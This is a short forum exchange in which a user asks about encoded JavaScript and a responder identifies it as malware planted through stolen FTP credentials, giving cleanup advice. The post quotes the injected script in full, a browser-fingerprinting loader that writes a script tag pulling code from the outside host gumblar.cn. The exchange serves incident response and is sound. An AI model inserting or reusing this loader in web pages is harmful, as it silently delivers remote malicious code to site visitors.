convert encoded javascript?

[cd34]

That is bad stuff, comes from an FTP exploit. Change your FTP password, have your host check your FTP logs. I would suspect hundreds if not thousands of files have been affected. Scan your machine for spyware/keyloggers/malware and don't use the same password as before.

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Win")&gt;0)&amp;&amp;(u.indexOf("NT 6")&lt;0)&amp;&amp;(document.cookie.indexOf("miek=1")&lt;0)&amp;&amp;(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src="//gumblar.cn/rss/?id=%22+j+%22"><\/script>");}